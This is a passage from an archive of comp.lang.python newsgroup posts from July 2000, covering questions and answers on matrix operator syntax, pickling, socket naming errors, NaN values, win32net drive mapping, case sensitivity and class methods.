References: <Pine.LNX.4.10.10007191505070.1129-100000@rocket.knowledgetrack.com> <8l6vul$5ig$1@slb3.atl.mindspring.net> <x83HMXAHJxd5EwAj@jessikat.fsnet.co.uk> <m2n1jcooct.fsf@spiff.home.com> <39772612.CE635178@fft.be> <8l7c80$mlc$1@tomm.stsci.edu> <slrn8nhu0m.qn.hzhu@rocket.knowledgetrack.com>
Message-ID: <Kp7e5.8550$4p3.62759@news-server.bigpond.net.au>

> ...  Surprisingly (maybe not,
> considering the math-oriented constituency), the third option draws the
most
> praise and almost not criticism.  It has more variations and have more
> potential for the future.  Despite that, imo, it is unlikely to be
accepted
> eventually, because it would not play well with by non-math audience.

   As one of the more reactionary Pythoneers with regard to syntax changes
and as someone who is unlikely to ever need to use the new operators, I say
the braced operators are the best.

   The .* style operators merge with the surrounding expression in a way
that leads to me confusing whether they are interpreted with their normal
meaning. The braced operator sequences like (*) merge together into one
visual entity. When encountered by someone for the first time, its fairly
obvious that they mean something new and not just a weird way of spelling a
current operation.

   The braced operators give a reasonable basis for future expansion
although it looks like you have used up all the best ones already. If this
is going to be used for future expansion, I'd like to see precedence looked
at closely now with all braced operators at lowest precedence.

   It may help to write a short demonstration script that intensively uses
matrix operations to show what code based on these proposals will look like.

   Neil




From breiter at usf.Uni-Osnabrueck.DE  Mon Jul 31 08:58:57 2000
From: breiter at usf.Uni-Osnabrueck.DE (Bernhard Reiter)
Date: 31 Jul 2000 12:58:57 GMT
Subject: PY to HTML
References: <IZ%f5.2964$kh.401847@news2.rdc2.on.home.com>
Message-ID: <8m3t6h$g48$3@newsserver.rrzn.uni-hannover.de>

In article <IZ%f5.2964$kh.401847 at news2.rdc2.on.home.com>,
	"Colin Meeks" <colinmeeks at home.com> writes:
> Does anybody know anything that will enable me to convert a Python script to
> HTML, so I can display it on a webpage nicely formatted with syntax colour
> coding.  Manually coding is a pain in the posterior :-)

Apart from the already mentioned possibilities, there is another
one. The www.vim.org (vim) editor has a function to just convert the
text is highlights into html tags. (Look for it in the gvim
menue...)

Might turn out useful sometimes...
	Bernhard

-- 
Professional Service around Free Software                (intevation.net)  
The FreeGIS Project				            (freegis.org)
Association for a Free Informational Infrastructure            (ffii.org)


From sean at digitome.com  Wed Jul  5 07:01:30 2000
From: sean at digitome.com (Sean Mc Grath)
Date: Wed, 05 Jul 2000 11:01:30 GMT
Subject: __getattr__ and pickle
References: <395f26a4.1832855@news.iol.ie>
Message-ID: <39630fdb.148487854@news.iol.ie>

Thanks to Christian and Gordon, I think I am well on
the way to pickling Pyxie trees.

More news anon.

regards,
Sean McGrath

On Sun, 02 Jul 2000 11:51:10 GMT, sean at digitome.com (Sean Mc Grath)
wrote:

>I have a reproduceable GPF on NT when picking objects of a class
>that has a __getattr__ implementation. Take out the __getattr__ and
>the pickle works fine.
>
>Are there ways to implement __getattr__ and yet preserve the ability
>to pickle?
>
>regards,
>



From claird at starbase.neosoft.com  Wed Jul 26 08:00:32 2000
From: claird at starbase.neosoft.com (Cameron Laird)
Date: 26 Jul 2000 07:00:32 -0500
Subject: Newbie pythoner, with bizzare problem
References: <66BC56277B82FC67.B3EED2DD79D7AFED.2311A1AB38DBA14A@lp.airnews.net> <8F79257Amilenkomoonshinecouk@194.73.73.116> <m33dl2o39d.fsf@atrus.jesus.cam.ac.uk> <8lcef2$fbn$0@216.39.151.169>
Message-ID: <BDBF76BE7B2F336C.9975B10C46B7F5D4.1513A8C45A3D09BD@lp.airnews.net>

In article <8lcef2$fbn$0 at 216.39.151.169>, Donn Cave  <donn at oz.net> wrote:
			.
			.
			.
>| What surprises me, though, is that no one ever
>| mentions the possibility of writing
>|   inp = __builtin__.open("c:/autoexec.bat",'r')
>
>What surprises me is that you mentioned it.  I mean,
>it's interesting in an academic way, but it's not
>clear to me how you would see that working in practice.
>
>	Donn Cave, donn at oz.net

It's a development idiom, like many of the introspective
facilities.  While it's not what I want to see in production
code, I personally might find it handy to be in the inter-
preter, type
  from os import *
as an abbreviation I think I can tolerate temporarily, and
then want access to __builtin__.open() without having to
restart my interpreter state.  Guido wisely keeps various
contaminants of the handy-abbreviation-for-something-already-
expressible (think of the "while 1" controversies) out of
the language; at the same time, I think it's right for a
working programmer to know tactical dodges that enhance
productivity while staying within the language.

Thanks, by the way, to Gordon, Paul, and the others who
supplied much more precise context for its semantics.
-- 

Cameron Laird <claird at NeoSoft.com>
Business:  http://www.Phaseit.net
Personal:  http://starbase.neosoft.com/~claird/home.html


From offer at sgi.com  Wed Jul 12 10:35:23 2000
From: offer at sgi.com (Nhi Vanye)
Date: 12 Jul 2000 14:35:23 GMT
Subject: PIL for SGI IRIX
References: <396BD2E7.1E38FF95@bioeng.ucsd.edu>
Message-ID: <8khvnb$4hhhn$1@fido.engr.sgi.com>

$ from cjensen at bioeng.ucsd.edu -#98042 | sed "1,$s/^/> /"
>
>
>While running ./configure for the PIL module, I get this output:
>
>loading cache ./config.cache
>checking for --without-gcc... no
>checking for gcc... gcc
>checking whether we are using GNU C... yes
>checking whether gcc accepts -g... yes
>checking for ranlib... :
>checking for ar... ar
>checking MACHDEP... irix646
>checking for -ljpeg... no
>checking for -lmpeg... no
>checking for -lz... yes
>checking how to run the C preprocessor... gcc -E
>checking whether cross-compiling... 360246:./conftest: rld: Fatal Error:
>Cannot Successfully map soname 'libz.so.1.1.3' under any of the
>filenames
>/usr/lib32/libz.so.1.1.3:/usr/lib32/internal/libz.so.1.1.3:/lib32/libz.so.1.1.3:/opt/lib32/libz.so.1.1.3: 
>yes
>checking for ANSI C header files... yes
>checking for inline... inline
>checking whether byte ordering is bigendian... configure: error: can not
>run test program while cross compiling
>
>
>How do I get past this point?  Also, I have the jpeg library, and it
>compiled fine, but configure doesn't find it.  How do I make configure
>see it?  Thanks.

Which version of gcc ? The problem is that the configuration used cannot
produce a linked binary, not that libz is missing.

My suspicion is that you've got o32/n32 issues.

Check the config.log file for the last messages.

>Curtis Jensen


richard.
-- 
Richard Offer           Widget FAQ --> http://reality.sgi.com/widgetFAQ
MTS-Core Design (Motif)
___________________________________________http://reality.sgi.com/offer



From nobody at nowhere.nohow  Sun Jul 16 14:03:14 2000
From: nobody at nowhere.nohow (Grant Edwards)
Date: Sun, 16 Jul 2000 18:03:14 GMT
Subject: Top 10 Language Constructs (Phyton)
References: <8kmkam$m45$1@pollux.ip-plus.net> <8kpavi04id@news1.newsguy.com> <8kpt05$uj6$1@slb3.atl.mindspring.net> <qflc5.1316$6E.225996@ptah.visi.com> <8kss1j$s39$1@slb7.atl.mindspring.net>
Message-ID: <CNmc5.1325$6E.229335@ptah.visi.com>

On 16 Jul 2000 17:40:03 GMT, Aahz Maruch <aahz at netcom.com> wrote:

>True enough -- but if I don't visit their site, I'm not product
>for them.

Right.  Once they cross the line where people dislike something
enough that they stop using/watching, then they're loosing out.

>I literally can't remember the last time I bothered visiting
>AltaVista for anything other than a quick test to see if
>they've improved their software, and I also warn other eyeballs
>away from them.

I gave up on altavista over a year ago and use google most of
the time.  Back when altavista was just a demo of how big/fast
a DEC machine could be, it seemed to provide (to me) useful
info. Once it switched over to being an ad-driven
profit-center, it went into the dumpster pretty quickly.

-- 
Grant Edwards                   grante             Yow!  I'm having a
                                  at               RELIGIOUS EXPERIENCE... and
                               visi.com            I don't take any DRUGS


From stpol at mindspring.com  Wed Jul 19 12:25:15 2000
From: stpol at mindspring.com (Dan^)
Date: Wed, 19 Jul 2000 12:25:15 -0400
Subject: are there any tutorials that someone completly new to programming can understand?
Message-ID: <8l4klm$2kl$1@slb6.atl.mindspring.net>

well..im 17 and thought that i should start with a programming language, and
after checking with some of my friends, they pointed me to python

but, all the tutorials seem to be for those that have spent years in
programming (mabey im just looking in the wrong places) but id really like
to try my hand at this

anywho, thx in advance
-Dan




From thomas at xs4all.net  Thu Jul  6 07:10:41 2000
From: thomas at xs4all.net (Thomas Wouters)
Date: Thu, 6 Jul 2000 13:10:41 +0200
Subject: socket error
In-Reply-To: <MLS85.43422$W35.939414@news20.bellglobal.com>; from mad@sympatico.ca on Thu, Jul 06, 2000 at 03:09:32AM +0000
References: <MLS85.43422$W35.939414@news20.bellglobal.com>
Message-ID: <20000706131041.I13478@xs4all.nl>

On Thu, Jul 06, 2000 at 03:09:32AM +0000, Duke wrote:
> I'm using Python 1.5.2 for Windows 98, and am trying to do some socket
> stuff.  Copying an example right out of the manual (section 7.2.2), I get
> the following error:

>   File "C:/Programming/Python/socket.py", line 5, in ?
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^

>     s = socket (AF_INET, SOCK_STREAM)
> NameError: socket

You named the file 'socket.py', did you ? :-) Don't do that. 'import socket'
will then load your own file again, instead of the 'socket' module.

> The example I'm using works fine on my Linux box Python interpreter, version
> 1.5.2.
> Any ideas?

You probably named it differently, under Linux ?

-- 
Thomas Wouters <thomas at xs4all.net>

Hi! I'm a .signature virus! copy me into your .signature file to help me spread!



From hzhu at localhost.localdomain  Tue Jul 18 13:31:12 2000
From: hzhu at localhost.localdomain (Huaiyu Zhu)
Date: Tue, 18 Jul 2000 17:31:12 GMT
Subject: Does Python have "not a number" floating point values?
References: <3bRVEQ$l1k@openbazaar.net>
Message-ID: <slrn8n959q.so.hzhu@rock.localdomain>

On 18 Jul 2000 00:50:01 GMT, Warren B. Focke
<moron at Glue.umd.edu.bbs@openbazaar.net> wrote: 
>
>However, according to a recent post, the OpenVMS port of python uses
>VAX-format math[1], which has less exponent range than IEEE.  I think
>that that expression for Inf will not parse there.  I don't even know
>if VAXen have Inf or NaN.
>
>Warren Focke
>
>[1] http://www.deja.com/[ST_rn=ps]/getdoc.xp?AN=640022415&fmt=text

Here's my notes on this issue.  I'd like to collect more reports.

According to discussions on comp.lang.python, there is no universal way to
treat NaN, but the following codes work on Windows (NT and 98), Solaris (2.7
with gcc) and Linux (RH6.1 with egcs).

It core dumps on Tru64 Unix on Compaq Alpha [Solution: When using DEC
(Compaq) compiler to build Python try using -ieee switch].

Supposedly it should work on any machine using IEEE arithmetics.

An alternative that sometimes works is
NaN = math.exp(1000) / math.exp(1000)

-- 
Huaiyu Zhu                       hzhu at users.sourceforge.net
Matrix for Python Project        http://MatPy.sourceforge.net 


From lance.shuler at intel.com  Fri Jul 28 14:30:47 2000
From: lance.shuler at intel.com (Lance Shuler)
Date: Fri, 28 Jul 2000 11:30:47 -0700
Subject: Win32 drive mapping... aka "net use"
References: <8lr9nc$tdf$1@nnrp1.deja.com> <8lrvae015nm@news2.newsguy.com>
Message-ID: <3981D157.D7A1A347@intel.com>

Thanks all,

Two line examples always do the trick. While the NetUseAdd title makes sense
for "net use", the documentation is not as descriptive (no reflection on Mark,
the words look like they match MSDN). I looked at NetUseAdd and then movde on
by thinking it wasn't what I needed.

Yes, I have been using the Win32 extensions (including COM) for over a year
and I own "Python Programming on Win32". I find it very useful. The example
below (including NetUseAdd) is not addressed in "Python Programming on Win32".

 Alex, regarding "local". I avoid mapping to a specific drive letter and just
always use "\\server\share\dir1\dir2\file". This works when moving between
machines, without worrying about whether "K:" is in use or not. I only use
"net use" to map a share in a different domain or as a different user. For
these cases, I will use USE_INFO_2.

Thanks again,
Lance


Alex Martelli wrote:

> <lshuler at my-deja.com> wrote in message news:8lr9nc$tdf$1 at nnrp1.deja.com...
> > Is there an API using Win32 extensions to map a
> > drive share? I have not found one yet and have
> > tried searching "Win32 map drive". I am looking
> > for the equivalent of:
> >
> > net use <share path>
> >
> > If not, is there an alternative other than making
> > a call to system("net use <path>").
>
> import win32net
> win32net.NetUseAdd(None,1,{'remote':r'\\server\share','local':'K:'})
>
> is an example (not all that easy to fathom from the docs, but I
> found it out with a little help from the docs, a little from MSDN,
> and a little experimentation).  If you're not already validated with
> the server, you may need to add a 'password':'whatever' entry
> to the dictionary that is the third argument to NetUseAdd.  But
> this is equivalent to
>     net use K: \\server\share
> as I do not know what net use means _without_ the local
> devicename (e.g., the 'K:' here).
>
> win32net contains all the API's you may desire to emulate
> "net use" and other subcommands of "net"; much of what
> you need to know about it, you can gather from MSDN's
> entries about "Platform SDK: Network Management" (use
> msdn.microsoft.com for online access, if you don't have a
> handy CD or DVD with MSDN on it), but of course there is
> some mapping between the argument types involved.  Where
> the original (C-level) API wants a structure, win32net uses a
> dictionary instead, with entries corresponding to the struct's
> fieldnames shorn of prefixes (e.g., the struct USE_INFO_1
> that the C-level NetUseAdd API wants has fields named
> ui1_remote and ui1_local).
>
> But if you plan to do a lot of system programming and/or
> system administration on Windows with Python (a very
> workable and excellent plan, as it happens) you really
> should splurge for the "Python Programming on Win32"
> book by Hammond and Robinson, published by O'Reilly.
> It's not perfect (for example, I can't find in its reference
> Appendix any specific info on NetUseAdd, while it does
> document a lot of OTHER win32net functions!-) but it
> still helps a lot.
>
> Alex



From root at ns.rgz.ru  Thu Jul 27 06:17:54 2000
From: root at ns.rgz.ru (Charlie Root)
Date: 27 Jul 2000 14:07:54 +0350
Subject: wxPython
Message-ID: <398009fa$1@news.edunet.ru>

There a great python library to programm under Motif and other
called wxPython , I think it is more powerfull then Tk


From rumjuggler at cryptarchy.org  Sat Jul 29 00:57:01 2000
From: rumjuggler at cryptarchy.org (Ben Wolfson)
Date: Sat, 29 Jul 2000 04:57:01 GMT
Subject: Perl is worse!
References: <200007280137.LAA30715@envy.fulcrum.com.au> <slrn8o1vc0.vnr.grey@teleute.rpglink.com> <8lsqld$hrq$1@newshost.accu.uu.nl> <82l4osonthc3dopu8s7ddrs7h4cgou1lgf@4ax.com> <slrn8o4oap.m39.jeff@oak.ollie.clive.ia.us>
Message-ID: <hap4os8vu1nr55qf9m4harr696bnqqpoq9@4ax.com>

On Sat, 29 Jul 2000 04:45:14 GMT, jeff at ollie.clive.ia.us (Jeffrey C. Ollie)
wrote:

>On Sat, 29 Jul 2000 03:43:38 GMT, Ben Wolfson <rumjuggler at cryptarchy.org> wrote:
>>>>> def getnone():
>>	pass
>>
>>>>> import __builtin__
>>>>> __builtin__.None = 1
>>>>> type(getnone())
>><type 'None'>
>
>
>I think that you are not fully comprehending the difference in Python
>between variables and objects.  Variables in Python are nothing more
>that references to objects. When you type 'None' in a program, Python
>uses the object (usually, the 'None' object) referenced by the label
>'None'. As you have found out, you can change which object that the
>label 'None' references.

I was actually trying to show that even if you modify __builtin__.None, it
is recoverable.  With that function (or any function that doesn't return a
value, but that one has no other purpose) you would just do
__builtin__.None = getnone() and all would be well in the world again.

-- 
Barnabas T. Rumjuggler

The world is turning into a cesspool of imbeciles.
 -- Harlan Ellison


From hzhu at localhost.localdomain  Thu Jul 20 20:33:03 2000
From: hzhu at localhost.localdomain (Huaiyu Zhu)
Date: Fri, 21 Jul 2000 00:33:03 GMT
Subject: Discussion: new operators for numerical computation
References: <Pine.LNX.4.10.10007191505070.1129-100000@rocket.knowledgetrack.com> <8l6vul$5ig$1@slb3.atl.mindspring.net> <x83HMXAHJxd5EwAj@jessikat.fsnet.co.uk> <m2n1jcooct.fsf@spiff.home.com> <39772612.CE635178@fft.be> <8l7c80$mlc$1@tomm.stsci.edu> <39777941.1A85F3CA@STScI.Edu> <slrn8nf2it.rb.hzhu@localhost.localdomain> <39779175.3F2D163B@roguewave.com>
Message-ID: <slrn8nf6p0.rb.hzhu@localhost.localdomain>

On Thu, 20 Jul 2000 17:55:33 -0600, Bjorn Pettersen <bjorn at roguewave.com>
wrote: 
>
>> OTOH, would you care to give a brief summary of how these other languages
>> deal with these issues?  It may indeed provide valuable insight.
>
>I agree with Paul, if you want to use Matlab syntax, use Matlab. Here's
>links to APL/J info http://www.acm.org/sigapl/links.htm

It would be great if you could summarize some of the issues concerning
treatment of multiarray in APL/J.  The purpose of this discussion is for all
sides to spell out their favorite.  Imho, issues that are so involved that
could not be explained here are unlikely to be suitable to go into the PEP.

As to why not use matlab alone, I think this has been discussed many times
already: Other than calculator languages, a languages has far more things
than math operators.  I'm sure you can compile a long list of advantages of
python over matlab.

Huaiyu


From johngrayson at home.com.bbs  Sat Jul 15 10:20:01 2000
From: johngrayson at home.com.bbs (johngrayson at home.com.bbs)
Date: 15 Jul 2000 14:20:01 GMT
Subject: Why make a language case sensitive?
Message-ID: <3bPZh1$lrf@openbazaar.net>

In article <000c01bfedcf$3e316160$6cb745c6 at timaratz>,
  "Peter Timaratz" <timaratz at lisco.com> wrote:
> I thought there might be a reason why it needs to be case sensitive.
I guess
> if you come from a Unix background (which I don't) and you create a
> language, then it seems natural to make it case sensitive.
>
> I'm not trying to start a war, so I'll refrain from expressing my
opinion.
> :)
>
> > -----Original Message-----
> > From: python-list-admin at python.org
> > [mailto:python-list-admin at python.org]On Behalf Of
richard_chamberlain
> > Sent: Friday, July 14, 2000 9:52 AM
> > To: python-list at python.org
> > Subject: Re: Why make a language case sensitive?
> >
> >
> > Hi Peter,
> >
> > That's a bit of a sore point at the moment :-)
> >
> > do a search on deja for case sensitive and you'll find a whole
argument on
> > the subject.
> >
> > Richard
> >
> > Peter Timaratz <timaratz at lisco.com> wrote in message
> > news:000801bfeda1$fcd99a20$6cb745c6 at timaratz...
> > > I can't think of any advantages to a case sensitive language.
> > Python is a
> > > very well-designed language though, so I imagine there is a good
reason
> > that
> > > it is case sensitive. So what are the advantages of a case
sensitive
> > > language?
> > >
> > >
> >
> >
> > --
> > http://www.python.org/mailman/listinfo/python-list
> >
>
>

If you're used to C++ (or Python or Java), which don't have
to be Unix-based, then you quickly discover that a simple naming
convention in your code makes for easy (cheap) maintenance and
reuse...

e.g.

    MyClass ...             Class definition
    myClass ...             Instance of class (or other 'variable')
    MYCLASS ...             Constant (maybe an enumeration)

Then, within a class, instance or variable name, mixed case aids
readability:

    A = ...                            ? Old Basic  ;-)
    mainwindowframeborderwidth =  ...  Caseless language (or poor C++)
    mainWindowFrameBorderWidth =  ...  IMHO better

Take a look at example code for any of the major languages and I'm
sure that you'll spot a trend... Of course, if you're an assembler
programmer, then you probably don't care -- but even assemblers
can be case sensitive :-)


   John


Sent via Deja.com http://www.deja.com/
Before you buy.


From root at rainerdeyke.com  Sat Jul 15 17:17:22 2000
From: root at rainerdeyke.com (Rainer Deyke)
Date: Sat, 15 Jul 2000 21:17:22 GMT
Subject: Changing the class of an instance
References: <8ki9bf$2pg3$1@pc-news.cogsci.ed.ac.uk> <8kkuuv$ohu$1@nnrp1.deja.com> <8kl0c7$1h2n$1@pc-news.cogsci.ed.ac.uk> <8knhql$lpi$1@nnrp1.deja.com> <8knl04$1c9b$1@pc-news.cogsci.ed.ac.uk> <8kq8kc$guk$1@nnrp1.deja.com> <etdbszzw6wv.fsf@w20-575-115.mit.edu>
Message-ID: <Cx4c5.24963$6y5.18567252@news2.rdc2.tx.home.com>

"Alex" <cut_me_out at hotmail.com> wrote in message
news:etdbszzw6wv.fsf at w20-575-115.mit.edu...
>
> >    Well it's exactly what I was doing once because I was a lot more
> > clever than the guys who said I shouldn't. And then I decided quite
> > suddenly that they were right. (At the end of a _long_ stretch trying
> > to figure out why the heck something wasn't working - of course the
> > answer is the object in question was very different from the object it
> > appeared it should be...)
>
> It can have really confusing consequences, but it's still too useful for
> me to abandon.  If you have a class which takes a long time to
> instantiate (e.g., you have to load a lot of statistical data into
> memory,) then having a script like
<snip>

More importantly (for me), you can run a simulation program where one
simulated entity changes into another type of simulated entity.  The
alternative (using proxies) is less efficient and elegant (IMO).


--
Rainer Deyke (root at rainerdeyke.com)
Shareware action/role-playing games      -      http://rainerdeyke.com
"In ihren Reihen zu stehen heisst unter Feinden zu kaempfen" - Abigor




From matt at null.net  Wed Jul 12 01:28:16 2000
From: matt at null.net (Matthew Schinckel)
Date: Wed, 12 Jul 2000 14:58:16 +0930
Subject: checking the existence of a fiel
In-Reply-To: <WaHa5.175$T23.3601@m2newsread.uni2.es>
References: <WaHa5.175$T23.3601@m2newsread.uni2.es>
Message-ID: <Pine.BOS.4.10.10007121456180.378-100000@be>

On Jul 11, I overheard Fernando Rodr?guez mutter:

>     How can I check if a file exists? O:-)

try:
	fp = open(file,'r')
	# code to run if file exists.
except IOError:
	print "File:",file,"Does not exist."

-- 
Matthew Schinckel     <matt at null.net>

What I tell you three times is true.



From tanzer at swing.co.at  Thu Jul 27 02:00:02 2000
From: tanzer at swing.co.at (Christian Tanzer)
Date: Thu, 27 Jul 2000 08:00:02 +0200
Subject: Don't be too hard on those who want class methods (Re: Python is wierd!) 
In-Reply-To: Your message of "Thu, 27 Jul 2000 17:15:43 +1300."
             <397FB76D.C05BD86B@see.my.signature> 
Message-ID: <m13HgiA-000wcEC@swing.co.at>

Greg Ewing, <undisclosed address>, wrote:

> Usually when people say that class methods
> are not needed, they're talking about C++ or Java style static
> methods. But Smalltalk-style class methods are a different
> species altogether. In Smalltalk, a class is also an instance
> (of class Class or some subclass thereof), so
> 
>    aClass frobulate: aBlivet
> 
> is dynamically dispatched on the runtime class of aClass,
> just like any other message. There is no direct equivalent of
> this in Python, because classes are not instances, they're a
> different kind of object. The suggestion by Moshe Zadka:
> 
> > > class Function:
> > >
> > >       def __init__(self, func):
> > >               self.func = func
> > >
> > >       def __call__(self, *args, **kw):
> > >               return apply(self.func, args, kw)
> > >
> > > class SomeClass:
> > >
> > >       def class_method(a, b, c):
> > >               return a+b+c
> > >
> > >       class_method = Function(class_method)
> 
> isn't quite the same thing, because there is no 'self'
> in scope in the method which is bound to the receiving
> class object (which might be a subclass of SomeClass,
> so you can't just assume that it's SomeClass).
> 
> There are no doubt even more convoluted hacks that could
> be used to fix that, but in 999,999,999 cases out of
> a billion it's probably better to revise your design
> so that you don't need class methods in the first place.

That's the one of the reasons I'm hoping to see first-class
metaclasses in some future Python implementation (and hopefully before
Python 3000). 

In practice however, I need class variables much more often than class
methods, and class methods not needing `self' (denoting the class in
question) much more often than class methods needing `self'.

And even than, default arguments offer an easy workaround. So I think
that your 1 ppb is slightly overstated.

-- 
Christian Tanzer                                         tanzer at swing.co.at
Glasauergasse 32                                       Tel: +43 1 876 62 36
A-1130 Vienna, Austria                                 Fax: +43 1 877 66 92




From thomas at xs4all.net  Wed Jul  5 12:12:44 2000
From: thomas at xs4all.net (Thomas Wouters)
Date: Wed, 5 Jul 2000 18:12:44 +0200
Subject: PyObject_GetAttr(String) ...
In-Reply-To: <8jvjbf$1eus@drn.newsguy.com>; from Armin@Steinhoff.de on Wed, Jul 05, 2000 at 08:13:51AM -0700
References: <8jvjbf$1eus@drn.newsguy.com>
Message-ID: <20000705181243.B13478@xs4all.nl>

On Wed, Jul 05, 2000 at 08:13:51AM -0700, Armin Steinhoff wrote:

> a question for the gurus:

>    what is the difference between the calls
>    
>       - PyObject_GetAttr and
>       - PyObject_GetAttrString ??

> Both have the same 'documented' semantic ... but they are magically
> different.

Actually, no, they aren't the same. PyObject_GetAttrString takes a PyObject
pointer and a char pointer, whereas PyObject_GetAttr takes two PyObject
pointers: the second argument should be a PyString, which is then turned
into a char pointer (using PyString_AS_STRING) and passed to
PyObject_GetAttrString.

-- 
Thomas Wouters <thomas at xs4all.net>

Hi! I'm a .signature virus! copy me into your .signature file to help me spread!



From rupole at compaq.net  Fri Jul  7 00:29:26 2000
From: rupole at compaq.net (Roger Upole)
Date: Fri, 07 Jul 2000 04:29:26 GMT
Subject: Python COM: How to access constants in type lib
References: <8k37mi$o76$1@nnrp1.deja.com>
Message-ID: <G0d95.5080$PM4.455743@news.easynews.com>

If you first run Makepy on the object (it shows as Microsoft DAO Object
Library
on my system), the constants will be available in win32com.client.constants.
eg win32com.client.constants.dbQMakeTable
            HTH
                     Roger Upole


"Charles Medcoff" <cmedcoff at my-deja.com> wrote in message
news:8k37mi$o76$1 at nnrp1.deja.com...
> When using Python as a COM client, how can I use/access constants
> defined in a type lib from Python.
>
> Example:
>
>
> import win32com.client
>
> engine = win32com.client.Dispatch("DAO.DBEngine.35")
> db = engine.OpenDatabase(r"\test.mdb")
>
> query = db.CreateQueryDef("base", "SELECT, bla, bla...")
> query.Type = dbQMakeTable # this doesn't work
>
> Thanks,
> Chuck
>
>
>
>
>
>
> --
> Charles Medcoff
> Senior Systems Engineer
> Pyramid Solutions
> 1850 Research Drive, Suite 300
> Troy, MI 48083
>
>
> Sent via Deja.com http://www.deja.com/
> Before you buy.




From bgriggs at pobox.com  Sun Jul  2 20:30:36 2000
From: bgriggs at pobox.com (B Griggs)
Date: Mon, 03 Jul 2000 00:30:36 GMT
Subject: urllib and linksys router    
References: <038701bfe3ec$ece104a0$6401a8c0@home>
Message-ID: <M8R75.3145$09.50946@typhoon.austin.rr.com>

Darrell,

Speaking of urllib and the LinkSys router...

http://greenman.dyndns.org/ls_dyndns

I have written a dyndns.org client for the linksys router.  Should work on
all Python platforms.

Regards,
Bobby

"Darrell Gallion" <darrell at dorb.com> wrote in message
news:038701bfe3ec$ece104a0$6401a8c0 at home...
> Tried to use urllib to access my linksys router, which requires a
password.
> After much pain, it turns out the router needs to see the request as one
> string.
> Maybe it's a timing thing since urllib sends each line separately.
>
> This works.
>
> def direct():
>     s = socket(AF_INET, SOCK_STREAM)
>     s.connect("192.168.1.1",80)
>
>     msgs=[
>     'GET /Status.htm HTTP/1.0\015\012',
>     'Authorization: Basic xxxxxxxx==\015\012',
>     '\015\012',
>     ]
>     s.send(string.join(msgs,''))
>     print s.recv(1024)
>     print s.recv(1024)
>
>
>
> --Darrell Gallion
>
>




From garry at sage.att.com  Fri Jul 28 13:25:36 2000
From: garry at sage.att.com (Garry Hodgson)
Date: Fri, 28 Jul 2000 17:25:36 GMT
Subject: Perl is worse!
References: <LNBBLJKPBEHFEDALKOLCEEINGMAA.tim_one@email.msn.com> <slrn8o2ft4.1e2.grey@teleute.rpglink.com>
Message-ID: <3981C210.8F0D0908@sage.att.com>

Steve Lamb wrote:
> 
> On Fri, 28 Jul 2000 01:24:08 -0400, Tim Peters <tim_one at email.msn.com> wrote:
> >Steve, in case it isn't clear yet, Python programmers *want* to be blown out
> >of the water when doing something as senseless as
> 
> >    1 + "foo"
> 
>     It isn't senseless.  That is the whole point.  It is only senseless
> because of typing.  Clearly you cannot add a word to a number, granted.  But
> what of 1 + "1"?  That isn't senseless, those are two numbers.  I can see they
> are two numbers, it is only because of typing that it fails.

you can see that because you are smarter than my computer.  in the
general case,
adding an integer to a string is, indeed, nonsense.  it also likely, or
at least
possible, that it represents a programming error.  the choice python
makes is
to alert the programmer to this (possible) error, and make them
explicitly
override this if that is really what they want to do.

1 + "1" might mean 2, or it might be an error.
1 + "foo" might mean "1foo", or it might be an error.

the system can't know which i intended, so it makes be specify.
it is much easier to say, "yes, i meant that" by adding a cast,
than to debug an errant program, possibly years later.

>     So I ask you this /VERY/ simple question.  Why can't Python do both?  Hm?
> What is wrong with taking 1 + "1", converting the "1" to a 1 and adding it
> together?

see above.

-- 
Garry Hodgson                   Every night 
garry at sage.att.com                a child is born
Software Innovation Services        is a Holy Night.
AT&T Labs                         - Sophia Lyon Fahs


From edream at tds.net  Sun Jul  9 14:08:05 2000
From: edream at tds.net (Edward K. Ream)
Date: Sun, 09 Jul 2000 18:08:05 GMT
Subject: Borland C++ Builder make files for Python?
References: <3967DBDB.7FBDD3E5@tds.net> <3968581B.C9571894@dittmar.net> <8_1a5.124522$WS3.1076728@typhoon.we.rr.com>
Message-ID: <3968BF6E.F5D5FFCC@tds.net>

Hi,

Thanks for all these excellent suggestions.  They are appreciated.

> > I think Borland supplies a tool to convert Visual C++ workspaces to C++
> > Builder projects, at least they mention VCTOBPR.EXE in their help files
> > for the free command line tools.

Excellent idea.  I'll give it a try.

BTW, I've been messing with the config.h file for the PC version, and
the Borland part of that file appears to be lacking a few #defines. 
Hopefully these will be easy to find and supply.

> > Unfortunately, this tool is not part of the free tools, so please submit
> > your converted makefiles to the Python team.

I'll do so if/when it works ;-)

> Hinthint. Don't forget to run coff2omf on the VC lib if you just link it
> to your borland project :)

I actually managed to stumble across this by accident.  Thanks for the
hint, though.

> > BTW, I don't think it is really necessary to rebuild Python, just try
> > linking against the import lib created from the python15.dll.

As I wrote to this list in a message called FILE * in C API's ??, I
think that this will not work: you must use the same compiler that
created the .dll (converted to .lib) file.  Otherwise the struct FILE in
the .lib will not match the struct FILE in the rest of the build.  This
appears to be an unfortunate oversight in the "very high level
functions" part of the C API.

Edward
--------------------------------------------------------------------
Edward K. Ream   email:  edream at tds.net
Leo: Literate Editor with Outlines
Leo: http://personalpages.tds.net/~edream/front.html
--------------------------------------------------------------------


From olivierS.dagenaisP at canadaA.comM.bbs  Sun Jul 16 12:30:04 2000
From: olivierS.dagenaisP at canadaA.comM.bbs (olivierS.dagenaisP at canadaA.comM.bbs)
Date: 16 Jul 2000 16:30:04 GMT
Subject: ANNOUNCE: Visual Python v0.1 for KDE and GNOME
Message-ID: <3bQSbS$lTz@openbazaar.net>

You may want to hook up with the guys at ActiveState for your Win32 version
of VisualPython:

http://www.activestate.com/Products/VisualPython.html

Unless both of you came up with the name "Visual Python" to mean totally
different things??

--
----------------------------------------------------------------------
Olivier A. Dagenais - Carleton University - Computer Science III


"Phil Thompson" <phil at river-bank.demon.co.uk> wrote in message
news:963764534.1476580377 at news.demon.co.uk...
> Visual Python is aimed at KDE and GNOME application developers and allows
you
> to easily embed Python as a GUI enabled scripting language in your
application.
>
> It includes KDE and GNOME APIs to manage Python interpreters, scripts and
the
> communications between running scripts and your application.
>
> Users benefit from a common scripting language allowing them to develop
> scripting skills that are re-usable with all their applications. The same
> Visual Python script uses KDE widgets when run from a KDE application, and
> GNOME widgets when run from a GNOME application.
>
> When used in conjunction with tools like SWIG and SIP to expose
application
> specific functionality to scripts, developers can provide their users with
the
> ability to extend their application in many ways.
>
> The Visual Python home page is at http://www.thekompany.com/projects/vp/.
>
> Phil


From dale at out-think.NOSPAMco.uk  Tue Jul 11 03:10:35 2000
